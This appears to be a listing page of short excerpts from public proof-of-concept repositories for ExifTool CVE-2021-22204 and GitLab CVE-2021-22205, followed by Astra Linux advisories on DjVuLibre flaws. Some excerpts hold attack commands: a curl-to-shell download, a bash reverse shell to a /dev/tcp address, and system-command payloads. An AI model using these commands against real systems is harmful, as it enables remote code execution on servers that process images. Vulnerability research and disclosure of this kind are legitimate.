CVE-2021-22204

CVE-2021-22204 - ExifTool Arbitrary Code Execution An upgraded proof-of-concept for CVE-2021-22204, a vulnerability in ExifTool versions 7.44 through 12.23 that allows arbitrary code execution when processing malicious DjVu files. Credit This is derivative work. The vulnerability and the original...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates a...

DjVuLibre-poc-CVE-2025-53367

1- WHAT IS DJVU. DjVu pronounced "déjà vu" a set of compression technologies, a file format, and a software platform for the delivery over the Web of digital documents, scanned documents, and high resolution images. DjVu documents download and display extremely quickly, and look exactly the same ...

exploit-CVE-2021-22204

Exploit for CVE-2021-22204 ExifTool - Arbitrary Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description Improper neutralization of user data in the DjVu file format in...

CVE-2021-22204

Vulnerable Version 7.44 12.23 Reproduce root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg Screenshot Reference NVD-CVE-2021-22204...

CVE-2021-22204

CVE-2021-22204 Summary of the CVE Improper sanitization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image. Affected Versions Version 7.44 - 12.23 Anomalies Dependencies: djvulibre-bin exiftool Calls these three...

CVE-2021-22205

CVE-2021-22205 Preauth RCE via exiftool on Gitlab CE/EE Summary of the CVE GitLab uses ExifTool to scan every tiff/jpeg/jpg file to remove any tags that are not whitelisted. But because ExifTool doesn't use file extensions to determine filetype but it rather uses the content of the file, which...

CVE-2021-22204

CVE-2021-22204 - Exiftool 원격 코드 실행 설명 최근 연구원 wcbowling이 Exiftool 도구에서 취약점을 발견했습니다. 이 취약점은 악의적인 공격자가 원격 코드 실행 공격을 수행할 수 있도록 합니다. 이 취약점은 GitLab 버그 바운티 프로그램에서 발견되었으며, GitLab은 이 도구를 제품의 종속성으로 사용합니다. 사용법 12번째 줄createFile.sh에 공격자 머신의 IP 주소를 입력하세요. 그런 다음 간단히 실행하세요: $ bash createFile.sh 이렇게 하면 악성 파일...

dejavu

DejaVu This container runs a web application that analyzes images and returns their metadata using exiftool. Users send the application a URL to an image and the app will retrieve it, analyze it, and return the results. The version of exiftool used by the application is vulnerable to CVE-2021-222...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Тестовая версия Создание команды для эксплуатации уязвимости root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Создание изображения для эксплуатации с помощью djvumake root@kitploit:...

Gitlab-CVE-2021-22205

Unauthenticated RCE on Gitlab version 13.10.3 Unauthenticated RCE exploit for gitlab version 13.10.3 For educational/research purpose only. Use at your own risk Root cause: When uploading image files, Gitlab Workhorse passes any files with the extensions jpg|jpeg|tiff through to ExifTool to remov...

CVE-2021-22205

CVE-2021-22205 - GitLab Unauthenticated Remote Code Execution CVE-2021-22205 is a critical Remote Code Execution RCE vulnerability affecting GitLab Community Edition CE and Enterprise Edition EE. The vulnerability originates from improper validation of uploaded image files that are processed by t...

CVE-2021-22205

CVE-2021-22205 Fork of mr-r3bot/Gitlab-CVE-2021-22205 Introduction CVE-2021-22205: GitLab Unauthenticated Remote Code Execution Vulnerability Exploit Removed the dependency on djvumake & djvulibre, directly generates payload internally, can be executed on Windows platform. Usage root@kitploit: 需要...

CVE-2021-22204

CVE-2021-22204 Description Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image Script Script Link Script usage: System cmd: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg Revers...

CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE Original repos : https://github.com/CsEnox/Gitlab-Exiftool-RCE Creds to CsEnox. RCE Exploit for Gitlab 13.10.3 GitLab Workhorse will pass any file to ExifTool. The current bug is in the DjVu module of ExifTool. Anyone with the ability to upload an image that goes through the...

Astra Linux – Vulnerability in DjVuLibre

In DjVuLibre 3.5.27, the DjVmDir.cpp file within the DJVU reader component allows attackers to cause a denial-of-service attack resulting in a crash of the application by creating a DJVU file that triggers a heap-based buffer overflow attack in the GStringRep::strdup function within...

Astra Linux – Vulnerability in DjVuLibre

In DjVuLibre 3.5.27, the sorting functionality also known as GArrayTemplate::sort allows attackers to cause a denial-of-service attack, resulting in an application crash due to uncontrolled recursion. This can occur when a PBM image file is mishandled in the libdjvu/GContainer.h header file...

Astra Linux – Vulnerability in DjVuLibre

A flaw was discovered in djvulibre-3.5.28 and earlier. A heap buffer overflow occurs in the function DJVU::GBitmap::decode, due to a malicious djvu file, which may lead to the application crashing and other related issues...

Astra Linux – Vulnerability in libimage-exiftool-perl

Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and above allows arbitrary code execution when parsing the malicious image...

Astra Linux – Vulnerability in DjVuLibre

A flaw was discovered in djvulibre-3.5.28 and earlier. A stack overflow occurred in the function DJVU::DjVuDocument::getdjvufile, due to a malicious djvu file, which could lead to the application crashing and other related issues...